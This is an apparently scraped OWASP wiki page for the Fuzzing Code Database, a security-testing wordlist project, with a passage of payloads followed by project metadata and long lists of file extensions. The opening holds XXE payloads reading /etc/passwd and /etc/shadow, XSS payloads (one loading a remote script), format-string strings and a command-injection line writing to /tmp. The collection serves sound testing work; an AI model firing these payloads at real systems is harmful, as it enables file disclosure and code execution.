[&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80045 2010-03-17T10:18:36Z

<p>Adam.muntner: /* Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) = */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> 